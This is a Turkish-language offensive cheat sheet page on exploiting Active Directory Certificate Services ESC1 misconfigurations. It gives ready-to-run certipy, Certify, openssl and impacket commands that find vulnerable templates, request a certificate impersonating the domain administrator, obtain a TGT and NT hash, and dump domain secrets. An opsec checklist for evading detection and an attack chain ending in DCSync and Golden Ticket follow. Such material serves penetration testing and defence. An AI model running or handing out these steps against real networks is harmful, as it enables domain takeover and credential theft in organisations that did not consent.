ADCS — ESC1
kaynak: SpecterOps Certified Pre-Owned impact: domain dominasyonu
kaynak: SpecterOps Certified Pre-Owned impact: domain dominasyonu
AD Certificate Services (ADCS), sertifika şablonları yanlış yapılandırıldığında ciddi bir yükseltme yoludur. ESC1, en yaygın senaryodur: düşük yetkili kullanıcıların Enroll olabildiği ve ENROLLEE_SUPPLIES_SUBJECT ile istemcinin özneyi (SAN/UPN) belirlemesine izin veren bir Client Authentication şablonu. Saldırgan SAN’a Administrator (veya DA) yazıp geçerli sertifika alır; PKINIT ile Kerberos TGT + NT hash elde eder.
ESC1 koşulları
Section titled “ESC1 koşulları”| Koşul | Açıklama |
|---|---|
| Client Authentication EKU | Client Auth / Smart Card Logon / Any Purpose |
| ENROLLEE_SUPPLIES_SUBJECT | İstemci CN/SAN belirler |
| Low-priv Enroll | Domain Users / Authenticated Users enroll |
| Manager approval yok | Bekleyen istek yok |
| Authorized signatures yok | Ek imza şartı yok |
Diğer ESC’ler (ESC2–ESC14) farklı kombinasyonlar; ESC1 “SAN’ı ben yazarım” klasikidir. ESC8: ADCS ESC8.
certipy find -u user@domain.local -p 'Pass123' -dc-ip 10.10.10.5 -vulnerable -stdoutcertipy find -u user@domain.local -hashes :NTHASH -dc-ip 10.10.10.5 -vulnerable -json -output adcscertipy find -u user@domain.local -p 'Pass123' -dc-ip 10.10.10.5 -stdout -enabledCertify.exe find /vulnerableCertify.exe find /showAllPermissionsKomut üreteci
Section titled “Komut üreteci”ADCS ESC1 · certipy req
embedded toolcertipy req -u lowpriv@domain.local -p Pass123 -ca domain-CA -template VulnerableTemplate -upn administrator@domain.local -dc-ip 10.10.10.5ADCS ESC1 · certipy req
Section titled “ADCS ESC1 · certipy req”Sömürü — Certipy
Section titled “Sömürü — Certipy”-
SAN’ı Administrator olarak sertifika iste :
Terminal window certipy req -u user@domain.local -p 'Pass123' -dc-ip 10.10.10.5 \-ca 'DOMAIN-CA' -template 'VulnTemplate' \-upn administrator@domain.localTerminal window certipy req -u user@domain.local -p 'Pass123' -dc-ip 10.10.10.5 \-ca 'DOMAIN-CA' -template 'VulnTemplate' \-upn administrator@domain.local -sid S-1-5-21-...-500Terminal window certipy req -u user@domain.local -hashes :NTHASH -dc-ip 10.10.10.5 \-ca 'DOMAIN-CA' -template 'VulnTemplate' -upn administrator@domain.localTerminal window Certify.exe request /ca:CA01.domain.local\DOMAIN-CA \/template:VulnTemplate /altname:administrator -
Sertifika ile kimlik doğrula — TGT + NT hash:
Terminal window certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5Terminal window certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5 -domain domain.local -
Dominasyon :
Terminal window export KRB5CCNAME=administrator.ccacheTerminal window impacket-secretsdump -k -no-pass domain.local/Administrator@dc01.domain.local
ESC1.1 / SID uzantısı
Section titled “ESC1.1 / SID uzantısı”Microsoft KB5014754 sonrası UPN ile çelişen sertifikalarda SID extension beklenebilir. Certipy -sid ekler; auth fail olursa SID’li yeniden iste.
nxc ldap DC -u user -p pass --get-sidcertipy req ... -upn administrator@domain.local -sid S-1-5-21-...-500Opsec (ofansif)
Section titled “Opsec (ofansif)”□ Certificate request Event’leri CA/DC’de (altname)□ Tek sefer DA cert + hash sakla; tekrar req etme□ PFX diskte bırakma□ CA / template adı case-sensitive olabilirYaygın tuzaklar
Section titled “Yaygın tuzaklar”□ Yanlış CA ismi (DOMAIN-CA vs FQDN\CA)□ Template enroll hakkın yok — find başka grup için□ EKU Client Auth değil → PKINIT fail□ clock skew / DNS□ Bazı şablonlar CN ister — hata mesajını okuSaldırı zinciri
Section titled “Saldırı zinciri”Low-priv → certipy find ESC1 → req -upn administrator@ → auth → NT hash → DCSync → Golden TicketPFX dönüşümü (Certify PEM)
Section titled “PFX dönüşümü (Certify PEM)”openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \ -export -out admin.pfxcertipy auth -pfx admin.pfx -dc-ip 10.10.10.5Sonraki adımlar
Section titled “Sonraki adımlar”ADCS ESC8 · DCSync · Shadow Credentials · Pass-the-Ticket